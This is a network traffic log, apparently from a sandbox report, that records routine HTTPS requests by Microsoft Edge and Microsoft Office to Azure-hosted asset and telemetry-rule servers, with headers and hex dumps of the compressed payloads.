2024-11-25 04:46:47 UTC	411	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 35 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 4f 6f 5d 5b 56 76 5d 5b 49 69 5d 5b 52 72 5d 5b 54 74 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120661" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120659" /> <SR T="2" R="([Oo][Vv][Ii][Rr][Tt])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true">

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
98	192.168.2.6	49886	13.107.246.63	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:48 UTC	470	OUT	GET /assets/edge_hub_apps_manifest_gz/4.7.107/asset?assetgroup=Shoreline HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: Shoreline Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:50 UTC	557	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:50 GMT Content-Type: application/octet-stream Content-Length: 306698 Connection: close Content-Encoding: gzip Last-Modified: Tue, 10 Oct 2023 17:24:31 GMT ETag: 0x8DBC9B5C40EBFF4 x-ms-request-id: b33c4d2f-f01e-005b-29f5-3e6f7b000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044649Z-15b8b599d882zv28hC1TEBdchn00000005d00000000057bd Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_MISS Accept-Ranges: bytes
2024-11-25 04:46:50 UTC	15827	IN	Data Raw: 1f 8b 08 08 cf 88 25 65 02 ff 61 73 73 65 74 00 ec 7d 69 93 db 46 92 e8 5f a9 f0 97 fd e0 96 05 10 00 09 4c c4 8b 17 2d f9 92 6d f9 92 6d 8d fd 66 43 51 00 0a 24 9a 20 40 e1 60 ab 7b 76 fe fb ab cc 2c 10 09 82 07 c8 a6 bc 9e 8d 0d 5b 68 b0 8e bc eb 44 55 e6 3f 3f 59 c9 3c 4d 54 55 bf db a8 b2 4a 8b fc 93 bf 89 4f dc cf ac cf ac 4f 6e c4 27 8b 26 7c 27 d7 eb 4a 27 fe bf 7f 7e 92 c6 90 19 c5 ee d4 f7 65 f0 4c f9 be ff cc f5 95 7c 26 63 df 7e 36 9b da 81 13 7b d3 d0 0e 15 d4 cd e5 4a 41 f9 77 ef 5e bf f9 ea 1d fc 7a f7 0e d2 19 1e fb 33 fd df 0c 12 63 55 45 65 ba ae 4d 06 d5 61 89 54 75 a9 1e 20 f7 f5 ab 57 2f 5e dd dd 7e ff 62 be 7c bf 58 a6 5f 05 f7 d6 8b db 9f be f8 f2 f6 f6 87 97 b7 3f f9 b7 90 ff 72 fe ad 7e ff e2 76 9d 58 77 ee 57 8b 1f de ff 14 f9 fe Data Ascii: %easset}iF_L-mmfCQ$ @`{v,[hDU??Y<MTUJOOn'&\|'J'~eL\|&c~6{JAw^z3cUEeMaTu W/^~b\|X_?r~vXwW
2024-11-25 04:46:50 UTC	16384	IN	Data Raw: ee 07 cf ac 5b ca 81 54 5b 25 f6 36 51 93 15 e8 c2 2b 22 50 fc 52 36 6d 55 35 59 19 67 e4 56 be d8 2d df fd 8c 1c b1 48 e9 85 d8 d5 6f a1 88 16 05 b8 ea d5 42 20 2f c6 fa c5 ab 21 ae b4 7e 71 4c 7c 69 3b da be 2c c4 3c 45 31 58 f6 5a d0 75 29 2d 10 91 2f b6 81 a8 f1 77 27 4d cb 46 c3 d1 f2 cb e7 17 7d 3c d0 6a 30 b1 ed 19 11 24 85 30 ed b3 77 98 0a a3 d3 4d 8a a4 58 a6 1a 92 6f 39 a0 66 5b a9 58 c4 f8 d7 db 13 a4 38 9f 53 18 72 e3 d6 58 c9 9c 2a 85 f1 21 3d 9d 12 35 51 d6 f4 74 9e 6e f9 3a 6f 4c fc e5 2c 53 f9 7a 94 a9 7c 50 ab 8e d8 56 01 86 95 11 92 ce 4d 82 a9 12 26 c6 7f 9c 55 b4 0d eb a8 c4 4f 75 f1 df 12 7e 7b 85 2d 18 bd 99 6f 4d 95 18 8d 35 7f b9 51 da bc b3 17 f2 61 66 41 16 70 9d 0a 0c 87 07 e7 d4 da 16 34 27 65 eb d7 87 be 44 96 29 71 b2 3a d6 Data Ascii: [T[%6Q+"PR6mU5YgV-HoB /!~qL\|i;,<E1XZu)-/w'MF}<j0$0wMXo9f[X8SrX*!=5Qtn:oL,Sz\|PVM&UOu~{-oM5QafAp4'eD)q:
2024-11-25 04:46:50 UTC	16384	IN	Data Raw: 9d 6b d1 e4 03 44 91 0f c7 24 3e 9c a5 f8 80 ce e1 c3 bd 55 1f 7c 0d 7d f0 d6 f4 e1 f6 6d f9 6c 42 78 a7 7a 8f cf 80 2a 42 b1 ca af 46 95 01 06 85 53 be 7a 50 c8 12 ce 7e 7c 44 29 29 63 83 14 66 50 e5 69 9e ba 94 a2 14 a9 44 53 56 22 78 06 d0 d3 7d 25 3d 51 7e fc 63 e8 77 69 11 9c 24 cb 92 42 e9 e0 d4 ac cc c6 c2 0a 92 55 72 f4 61 88 91 31 1f 4c 69 b4 9b 0f a5 64 32 91 6a 99 5a 87 05 9b b8 18 4d b6 69 0c 05 60 46 80 c2 34 75 85 d5 88 cf a4 31 10 78 28 99 44 01 7e 6d 51 37 26 3d f1 aa c8 64 77 98 90 c3 4a 88 b9 d5 8c 73 bc 9b 5c 69 65 23 a6 fb 16 9b 26 25 05 ac fc cc 1e 87 56 e3 bd 7f 86 8d d9 de 4d 93 29 aa 7c fe d1 06 5b da c5 90 55 b0 c9 33 35 1b d9 51 ad b2 ea c6 9a c4 a2 90 04 54 de 86 42 2d d9 e8 78 24 ab 24 51 69 66 82 d7 44 e8 1d cf c8 e2 16 60 37 Data Ascii: kD$>U\|}mlBxz*BFSzP~\|D))cfPiDSV"x}%=Q~cwi$BUra1Lid2jZMi`F4u1x(D~mQ7&=dwJs\ie#&%VM)\|[U35QTB-x$$QifD`7
2024-11-25 04:46:50 UTC	16384	IN	Data Raw: 73 b5 e6 a0 67 39 bd 50 cf ce e5 f5 33 b4 5b f6 96 18 f6 1d 3d 5b 1c 62 ee 08 9c b4 27 31 5c bf 95 0d 07 a0 cf bc bf ec e9 f3 e3 25 7d d1 cd 7e e8 fe 69 3f 94 32 74 6d 41 40 30 f4 9d 21 ef 18 ab 09 e0 e5 30 bf 56 97 43 99 8d fb 5c b1 3a 15 2a 0c 9d 5f c9 d3 47 70 60 b0 6e 17 9c 16 bc 33 94 8f dc 87 1c 2e 65 5f 80 b0 c7 e2 bb 6a f4 3b c8 60 00 83 b2 83 02 16 e1 3f 69 68 e4 62 45 17 99 ba 9d 9d b7 00 7d 2a 5a 5f 88 af 8b 22 5d 84 79 61 b8 38 c9 2f d4 62 3c 2f ee 0a 38 04 98 69 d8 af 45 cf 43 a8 9b 3e 6e dd 69 b8 01 0b 4d c5 2a d4 d8 5d 7a b1 5f 94 d0 5d 79 e7 c9 87 c6 d5 b9 5d 89 1b 44 f3 5a 14 67 85 e9 1a ef c2 74 b9 63 86 3e c2 71 a7 08 94 eb 44 58 ad 1a 5c 09 02 5c 4d 1b c8 2c 53 c1 71 b8 50 80 6e 30 91 49 05 4e 42 60 22 53 9e 67 6f 08 ac 30 cf 05 cd b5 Data Ascii: sg9P3[=[b'1\%}~i?2tmA@0!0VC\:_Gp`n3.e_j;`?ihbE}Z_"]ya8/b</8iEC>niM*]z_]y]DZgtc>qDX\\M,SqPn0INB`"Sgo0
2024-11-25 04:46:50 UTC	16384	IN	Data Raw: 7f 7f fe e2 4d 8e 52 97 9f 5c d2 a4 d2 9b 7f 21 19 ca ff db 31 e3 e4 f2 51 b8 7c 74 b3 4c aa e5 59 09 49 a3 cf 51 d6 87 a5 4c 6d 23 e7 30 3b 3e ce a2 ff dd d2 a2 4d 1f 0e 14 fd d7 52 7f fd 1c ea cf 13 55 dc a3 6d 85 4b 4e 63 b4 12 03 65 33 26 36 bd 72 f4 19 04 1a d9 86 f6 84 1c dd 9e ee 21 e8 65 4d aa 2f f0 f8 0a fb d1 85 1e 53 4d 3f 5f a5 fc d4 0d f8 28 79 f7 b1 c1 a5 fc 51 df bc 30 df bf cb 6f cb 2a 09 d7 1f 99 f4 19 6a 7e d9 a5 f8 7e 7b c5 59 31 55 b2 99 9f 7d 02 06 e8 6e c6 98 ec a9 7c 3f 2a 1d 34 e5 bd 0a 8f e7 88 3e 74 c3 0b e7 6b 10 2c 4f 53 5d 7c 86 e2 09 77 99 7d ee 02 3a 9d f3 a7 29 a2 13 79 ee 15 d2 a7 37 fd 67 b6 f7 67 33 72 df b2 23 59 ef 55 5d e5 6f cb 55 7e 43 6c b7 99 fc 2e 56 9e 6f 2b 5e 74 f2 ea 6e 17 ed 6d 37 04 2d f5 5a 8e f8 43 2b c3 Data Ascii: MR\!1Q\|tLYIQLm#0;>MRUmKNce3&6r!eM/SM?_(yQ0oj~~{Y1U}n\|?4>tk,OS]\|w}:)y7gg3r#YU]oU~Cl.Vo+^tnm7-ZC+
2024-11-25 04:46:50 UTC	16384	IN	Data Raw: c3 9c 0b 06 79 cd 66 e0 72 84 3b 54 b9 74 ef 35 53 7d 3b 8c b0 a9 fd 1b 50 a9 de 74 45 72 7e 1b f0 2a c4 ee 75 56 a9 f1 4f 0b e2 ef 4c 0e 04 e6 c1 13 43 d1 a3 91 83 19 d3 3d c4 08 0f b5 d5 e1 f0 41 7b 02 cf 94 80 35 8c 5f 5f 02 90 85 fa 86 bb ab e1 02 93 a8 c3 01 b8 10 ce 1a 84 70 ba 2a 74 48 e2 74 7c 83 87 f5 42 38 70 15 c2 ce 65 08 08 86 a0 47 21 98 5b b8 58 62 21 c8 96 0d 6c 09 61 e7 32 c4 b3 5e a1 8d a0 20 7d 39 b0 28 5c c6 6d 21 84 b7 80 4c dc 70 c4 2e c4 f3 19 21 9c 8e d6 1f 96 d8 f4 9d 32 40 37 a4 47 84 1e d1 c7 65 89 5f 63 82 1d d4 5a 86 2d e5 f8 15 59 45 61 ea 67 ab 2d d9 61 85 e3 91 0f 94 e7 67 25 02 3d 4f 28 55 ad 17 c6 a0 29 6a 5d 21 2a cd 7e af 45 5e 0b 01 e5 6c bb ed 07 fa bc 5c f7 4e 60 6b e1 20 c2 ba 99 b8 6d 1e 51 d5 3c d5 da e1 b5 2c a1 Data Ascii: yfr;Tt5S};PtEr~uVOLC=A{5__ptHt\|B8peG![Xb!la2^ }9(\m!Lp.!2@7Ge_cZ-YEag-ag%=O(U)j]!*~E^l\N`k mQ<,
2024-11-25 04:46:50 UTC	16384	IN	Data Raw: 62 01 a8 b8 2e 41 68 d5 3e af 78 77 09 5e a1 a8 7e 3d bf 65 90 da ff 6d 58 c3 e3 86 29 f6 22 00 98 2a 9c 68 97 65 63 ac 5c ad 09 2b 23 82 8f 3f 2b 34 4c 1f 01 76 0d 06 ed 44 0f a9 a0 b1 63 30 c2 0d f2 ad 15 f9 9d a6 73 4a 64 c6 38 b2 91 d1 0a 38 ec f1 61 a5 51 a1 65 d6 96 da 34 5b b9 be df 70 92 06 98 c1 37 67 b8 7a fd 34 cd 5e 44 c0 aa b0 27 6e 0c f2 e2 f9 5e 7c 0a 17 b4 b4 16 73 66 52 b2 05 40 56 84 20 c3 90 88 0a 5a 8e f1 3d 96 59 b7 5f a7 63 31 3c 17 3a a9 04 30 4b 80 0e 09 8b 60 e1 5d df da 55 e1 6d 20 56 de 3a 5a 4e 4e 36 25 71 5c 12 7e f1 93 97 31 94 a1 29 89 f2 0a 40 a9 02 bf 55 03 2f 98 74 5f 78 73 cb c5 29 4c e9 ad ef d3 e0 e9 ec 15 b9 9a 03 cf 91 db 7e f5 f0 08 3e bd 4a a1 b3 a7 63 d1 45 bf 50 93 bc bc 7d c3 e9 75 22 5d 68 d9 1e 50 8f 5c 23 a1 Data Ascii: b.Ah>xw^~=emX)"*hec\+#?+4LvDc0sJd88aQe4[p7gz4^D'n^\|sfR@V Z=Y_c1<:0K`]Um V:ZNN6%q\~1)@U/t_xs)L~>JcEP}u"]hP\#
2024-11-25 04:46:51 UTC	16384	IN	Data Raw: 75 5c b5 f2 6d d4 e3 16 ed 7d 0a 76 94 c1 8e a7 30 9e 08 64 07 27 9d 18 c0 52 7d e4 67 ff 5d dd ba 83 b1 dc 5d 98 95 9f fd f7 4f 5a 26 c7 8a 7a a4 2b 67 ea ac d1 ee 4b f3 ee 5b 7c 55 87 5f ce 64 5a d1 d6 85 f4 9d 84 43 1d a5 d1 4e 33 c2 52 b6 ac ef d9 7f de 15 61 44 a2 b6 4f fe 03 39 27 95 29 d1 71 16 47 ff 7e 40 2f ff 09 6e 49 c5 ba 2c 58 72 fd b4 fc 2b 2f d4 a3 80 7f e2 4e fd ca 3b f8 f4 09 87 9a 38 33 24 7f 45 a2 7e d3 4f 4e 87 8c cb 8b 02 7f df 7f ff 57 75 a1 22 3d 51 a9 78 41 7d 1b c5 f8 9b d0 7f 72 fc 7d ff 85 6a 70 ab 5e dc aa 41 ca 56 bd b0 55 00 76 02 c7 a0 ea 57 7d b2 c3 fb 0a b5 58 bd 1f ab f6 63 d5 ec bd 82 b3 c7 5f d5 89 ed 15 3f f6 0a e5 7d 86 bf 7b f2 4f 82 f3 1a ea 09 06 a9 c9 03 c6 95 ea 57 bd 73 50 18 1d 54 fb 07 d5 da 41 bd 99 aa 6f 53 Data Ascii: u\m}v0d'R}g]]OZ&z+gK[\|U_dZCN3RaDO9')qG~@/nI,Xr+/N;83$E~ONWu"=QxA}r}jp^AVUvW}Xc_?}{OWsPTAoS
2024-11-25 04:46:51 UTC	16384	IN	Data Raw: f9 9e 4a 6a 38 c3 9d 71 93 60 68 53 6d 70 93 f4 d8 cb 92 d6 1c 64 0c 55 29 d1 f7 86 61 3a 23 da d5 06 e4 b2 85 18 31 bb 0e 46 71 38 52 33 8f 24 f5 9e 43 1a 6d 32 5a be 90 91 0a d3 47 69 32 eb 74 ec 30 03 b3 0a 2f 45 60 14 c3 56 8c 9b d3 2c f6 4c cc 87 6e 54 d0 da 28 ed 5d 8d 3a 4d 4a aa f1 2e 74 2f 9f 56 e9 a4 49 86 4c 15 33 4f 70 79 ad 9c 27 57 fe 5f f1 b5 af dc 2b a5 7e 6a ff d6 06 bc 0c 5d f6 df fe e1 b9 f2 44 21 e0 ef 42 ef 50 c9 9d 6d c4 b7 e0 a2 c1 1c b4 2f 36 29 c7 0d cd c5 5f 01 b2 80 f3 b0 10 3b 89 01 c5 9d d8 7c 07 2e 18 db 27 d6 4f f2 63 9c b0 f6 f2 ae c9 8b 6c b2 c4 37 76 c1 ad 55 68 26 ab 9f 6e 0d f6 97 8b d0 7b ae f0 47 ed 5d 9f e5 af 8e d0 8d 25 c1 76 f1 dc 48 82 c0 c8 4e c8 12 40 65 5d 3f 2f 1b ab ff 79 9a 2b b3 79 5d 62 4f 7c d5 ff 34 22 Data Ascii: Jj8q`hSmpdU)a:#1Fq8R3$Cm2ZGi2t0/E`V,LnT(]:MJ.t/VIL3Opy'W_+~j]D!BPm/6)_;\|.'Ocl7vUh&n{G]%vHN@e]?/y+y]bO\|4"
2024-11-25 04:46:51 UTC	16384	IN	Data Raw: 49 98 d9 64 0e 08 ef 71 ff 50 b9 f3 86 37 4a 22 88 52 55 4a 91 92 53 0e 3c c2 3f 65 33 a3 28 fd 5a 9a 2e 91 76 ec f5 34 94 dc 1a 84 a2 be c1 0e 7a 8b 67 39 3e 58 c7 23 2c 7e 30 2a a9 04 8f 00 e5 ea b9 90 8e 19 22 31 4f 88 ac 1a 1f 76 bd 44 ab b4 23 ff 6a 0e 16 d3 4b 19 b1 5f 46 1a 8c 28 02 0b 82 4d 75 9f bc a7 ab d3 c0 ac 12 2c 1a e1 ca 61 62 a5 73 bf 90 ea 26 30 cc b6 60 ae a5 03 4b 60 ea 7c b9 bf 27 e4 0d 14 35 5a 3a 2d d3 09 b2 1d da a4 23 ee 1b c6 42 eb 6f 46 58 98 31 2d 33 81 d2 c7 b9 ea 4a e4 45 53 f8 1b 85 d6 9a f9 1c dd e5 4a cf 08 96 59 af e8 ce 28 b3 02 0e 0d ee 14 62 4a 58 2a 40 44 d3 12 5b 39 93 33 26 50 17 82 cc e2 88 1a 71 ab dd fe 3c 12 6a 79 40 5e 32 8d a6 25 53 15 5e 3f 60 3e a6 cb e9 d4 75 42 52 43 29 e8 e5 94 bf 82 e4 a6 c8 40 37 67 5f Data Ascii: IdqP7J"RUJS<?e3(Z.v4zg9>X#,~0"1OvD#jK_F(Mu,abs&0`K`\|'5Z:-#BoFX1-3JESJY(bJX@D[93&Pq<jy@^2%S^?`>uBRC)@7g_

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
99	192.168.2.6	49887	13.107.246.63	443	7356	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:48 UTC	711	OUT	GET /assets/domains_config_gz/2.8.76/asset?assetgroup=EntityExtractionDomainsConfig HTTP/1.1 Host: edgeassetservice.azureedge.net Connection: keep-alive Edge-Asset-Group: EntityExtractionDomainsConfig Sec-Mesh-Client-Edge-Version: 117.0.2045.55 Sec-Mesh-Client-Edge-Channel: stable Sec-Mesh-Client-OS: Windows Sec-Mesh-Client-OS-Version: 10.0.19045 Sec-Mesh-Client-Arch: x86_64 Sec-Mesh-Client-WebView: 0 Sec-Fetch-Site: none Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Edg/117.0.2045.55 Accept-Encoding: gzip, deflate, br Accept-Language: en-GB,en;q=0.9,en-US;q=0.8
2024-11-25 04:46:49 UTC	583	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:49 GMT Content-Type: application/octet-stream Content-Length: 70207 Connection: close Content-Encoding: gzip Last-Modified: Fri, 22 Nov 2024 21:01:12 GMT ETag: 0x8DD0B38CBCCFA90 x-ms-request-id: d99e56cb-001e-006c-5c8a-3ec3d4000000 x-ms-version: 2009-09-19 x-ms-lease-status: unlocked x-ms-blob-type: BlockBlob x-azure-ref: 20241125T044649Z-178bfbc474bscnbchC1NYCe7eg000000072g00000000cut2 Cache-Control: public, max-age=604800 x-fd-int-roxy-purgeid: 69316365 X-Cache: TCP_HIT X-Cache-Info: L1_T2 Accept-Ranges: bytes
2024-11-25 04:46:49 UTC	15801	IN	Data Raw: 1f 8b 08 08 18 f1 40 67 02 ff 61 73 73 65 74 00 ec bd 0b 97 db 36 b2 30 f8 57 b2 b9 33 b3 dd 89 d5 d6 5b dd d9 cd fa f4 d3 f1 f8 39 6d 3b 19 db f1 d5 01 49 48 a2 45 91 0c 1f 6a ab c3 be bf 7d 0b 05 80 00 08 50 52 db ce 77 ef b7 67 67 9c 16 09 14 0a 40 a1 50 a8 2a 14 c0 3f bf f7 93 78 16 ce bf ff e9 bb 3f bf 2f 92 25 8d a7 51 b8 0a 0b 78 ef 8d bb dd 07 df 7d 9f 92 39 9d fa 65 91 cc 66 90 38 1c f4 59 62 40 67 a4 8c 8a 69 94 f8 24 a2 d3 15 49 11 81 c7 f0 c0 df 0e 3c 00 94 97 e3 6b de f1 08 7b a5 11 7b a5 51 67 9e e1 6b 8c af 71 a7 cc f1 15 81 69 de 59 7d c6 d7 02 5f 8b 0e a5 ec d5 c7 5c 3f ef f8 b7 ec 35 20 ec 35 20 9d 60 89 af 14 5f 69 27 40 e0 19 e6 ce 48 27 c4 8a 66 21 be 86 1d 78 60 af 19 be 66 9d 19 e6 2e b0 ec 82 76 c2 08 5f 31 77 91 75 16 3c b7 c4 d7 Data Ascii: @gasset60W3[9m;IHEj}PRwgg@P*?x?/%Qx}9ef8Yb@gi$I<k{{QgkqiY}_\?5 5 `_i'@H'f!x`f.v_1wu<
2024-11-25 04:46:49 UTC	16384	IN	Data Raw: 4a b0 09 cb 82 45 ac c5 f3 e8 07 bb 82 71 ba da 2a 0b c7 62 2c 30 96 c2 52 09 74 65 c0 2a 8a c3 88 95 9c 7c 3e a9 79 09 d4 fa 9a 9f 30 4a 49 28 2b d7 97 ff 7a 7b f9 fa cd f4 c9 05 68 2b 37 9c c1 08 01 cb 2f 28 f3 02 34 de 08 0c a6 34 da 38 c6 ec 48 27 33 28 96 9f 45 d9 4f 9f 12 f7 54 d2 47 a6 39 87 08 81 e9 6d 4f c1 43 97 10 bf ad 59 55 67 39 13 fe 1e 05 67 65 16 87 6c 9b f5 cb 90 60 eb 3d ea 25 09 33 8b f9 4a fb 10 ef 11 3b 7c e8 61 60 14 a0 60 b9 7c 16 e7 69 54 b1 c3 22 c0 e0 29 df c2 05 4c 8f bc f0 67 5e 04 75 33 51 9a b7 e1 61 1a 61 48 f5 c3 30 f7 62 91 d5 a8 34 39 2a 97 ff 2d f5 aa c1 c2 6c 78 e0 35 33 d1 42 b3 75 c4 be 3b f4 d0 68 83 51 a7 81 2d a0 ff 0d 5d 10 62 ed 7f 55 a5 99 9f 25 2b 2f a4 4d 09 21 65 43 c7 04 cf 93 19 f3 c1 d0 b6 e9 14 38 59 31 Data Ascii: JEqb,0Rte\|>y0JI(+z{h+7/(448H'3(EOTG9mOCYUg9gel`=%3J;\|a``\|iT")Lg^u3QaaH0b49*-lx53Bu;hQ-]bU%+/M!eC8Y1
2024-11-25 04:46:49 UTC	16384	IN	Data Raw: 2f 4d 35 19 b9 3f d5 c1 f4 52 a7 67 b3 99 ff bc b7 c2 8e 7c d3 4d 9a a5 bf dc f0 20 15 b1 bc 1f 82 9a 8d 98 a7 af db 80 6b 74 e7 ab 7c e6 18 7d 9a 2b 3e 34 2d 1a e7 c0 d5 e8 b4 a0 0e d4 7d 19 bb 69 52 58 a2 33 32 78 db 4b 2d cd 54 dd d2 2b 9c a0 29 69 1a ba 4a ee 0a 4d 33 5a 7b a7 1a 83 5f f3 f7 fe 2c 2f 84 3b 39 d0 56 82 ef 75 a4 f3 69 57 af 58 09 8c 2a 1d 24 b9 4e 6b cf 63 d0 74 99 e3 02 0f 26 7f 1a 86 a9 a8 69 fa 5a d8 25 83 c1 ea f8 fd 12 62 16 86 38 17 5a 19 6f 13 03 00 e6 6a 07 a4 40 be bb 20 de a6 de bf d1 06 75 32 1f c3 4f 67 41 ad 31 bd b0 9c ee 44 47 33 2a 92 9c d3 f6 35 64 a9 b1 d3 f6 b1 c7 a7 b4 80 af ea c1 2a 6c dd 81 a0 0b 67 ca d2 b2 11 7c 8d dc 39 47 56 d1 bd 08 e8 ec 3e 4f c9 56 d6 7a d3 9a 56 4d 17 50 41 9b 17 9b 37 36 da 2e 7c a4 ba 63 Data Ascii: /M5?Rg\|M kt\|}+>4-}iRX32xK-T+)iJM3Z{_,/;9VuiWX$Nkct&iZ%b8Zoj@ u2OgA1DG35d*lg\|9GV>OVzVMPA76.\|c
2024-11-25 04:46:49 UTC	16384	IN	Data Raw: 99 dc 5a 2e 69 cf 52 41 9e 48 c8 71 d7 39 94 dd f7 b6 3f 2a 48 d1 b5 2e 37 a4 97 5f 43 54 c9 8d d7 76 7a 14 e4 6f 3b 80 f7 6a 61 e8 6f 47 e9 2d cb 60 84 66 2b c0 b9 77 09 1b c0 32 5c aa 6c 0e 25 81 ed a0 5e 61 25 37 6f 3c a5 bc 1f 04 1a dd b1 04 1d c9 73 16 3a 58 a8 69 4d 12 c1 5e e9 66 5f 14 6c e4 9e d4 61 25 e1 2f c3 fc b8 ed df 80 5d 2b 3a 5b 4c 56 c9 72 1f 59 1d 6a 72 0b d2 b0 4c 8e d5 67 db 16 79 41 90 65 4f 4b 68 63 f6 d1 e5 db b6 6a 18 e6 ca 5f 04 79 2e 71 69 5d 0e 19 cc d9 f6 58 27 58 af 1c 18 04 f1 98 d2 bf 15 1e 37 ce e0 1e 88 54 83 3c 82 f8 a8 05 5f b0 1b 3f 2f 02 8f 31 a4 e9 1d ed 45 e6 e4 85 e6 b9 66 4c fd cd 8d e4 58 f7 79 73 8b 47 40 25 b6 0d 7f 78 ff a8 fe e7 7d 69 4a fc 00 c7 b0 37 a9 44 f0 40 1e e8 bd 41 8a b4 0a 5d 5a 2c 0e 60 f7 fb 81 Data Ascii: Z.iRAHq9?*H.7_CTvzo;jaoG-`f+w2\l%^a%7o<s:XiM^f_la%/]+:[LVrYjrLgyAeOKhcj_y.qi]X'X7T<_?/1EfLXysG@%x}iJ7D@A]Z,`
2024-11-25 04:46:49 UTC	5254	IN	Data Raw: 29 50 5f 50 34 9a d3 9a 2a 83 ab 27 93 58 c5 2b d2 9c af 2b 4e 0f 79 ac a9 56 57 20 b1 61 ca d2 f5 ed 38 df 10 b9 60 88 4c 48 ac b1 cd 10 b5 8f 76 49 19 f2 b6 d5 54 1d d1 9c b1 20 7a d3 64 f7 91 a2 0c 4d 73 6d e0 da be ee e6 87 03 9f 5e f7 4f 98 9c 12 cd 88 68 4c 2e b1 48 00 60 c3 31 74 31 8d 87 b4 32 56 02 4f bf e1 a9 3b c0 40 d6 24 8e 10 55 c7 c3 e7 8c f3 78 28 78 d3 94 de b0 5a 4d 22 eb 28 5c 22 00 98 8e 15 1a f8 ab ac 54 f4 5d 80 d0 a5 aa 6e 87 83 fd d6 f1 b0 c0 82 f7 f4 5e ef 2f 2b b8 62 a2 13 a1 4d ae 60 cf 59 3c b1 b1 f4 40 4d 41 74 7c ac 2c 5a 9e ef f4 d2 81 6d 69 e1 d3 8b 73 2c 84 2c 06 37 fd 72 38 10 a5 b2 13 51 f1 a0 a2 06 7d 3f 89 8f 72 35 a0 58 a0 46 79 2f b7 1f cc 57 92 ec c8 b4 b5 f2 5c 65 e7 30 5a 93 e3 b1 8e 5f f5 91 44 87 44 19 1d 59 83 Data Ascii: )P_P4*'X++NyVW a8`LHvIT zdMsm^OhL.H`1t12VO;@$Ux(xZM"(\"T]n^/+bM`Y<@MAt\|,Zmis,,7r8Q}?r5XFy/W\e0Z_DDY

Session ID	Source IP	Source Port	Destination IP	Destination Port
100	192.168.2.6	49888	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-11-25 04:46:49 UTC	192	OUT	GET /rules/rule120665v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-11-25 04:46:49 UTC	470	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 04:46:49 GMT Content-Type: text/xml Content-Length: 407 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D30478D" x-ms-request-id: d599eecb-401e-0083-1bb7-3e075c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241125T044649Z-178bfbc474bpnd5vhC1NYC4vr4000000073000000000028p x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-11-25 04:46:49 UTC	407	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 36 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 36 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 53 73 5d 5b 53 73 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 Data Ascii: 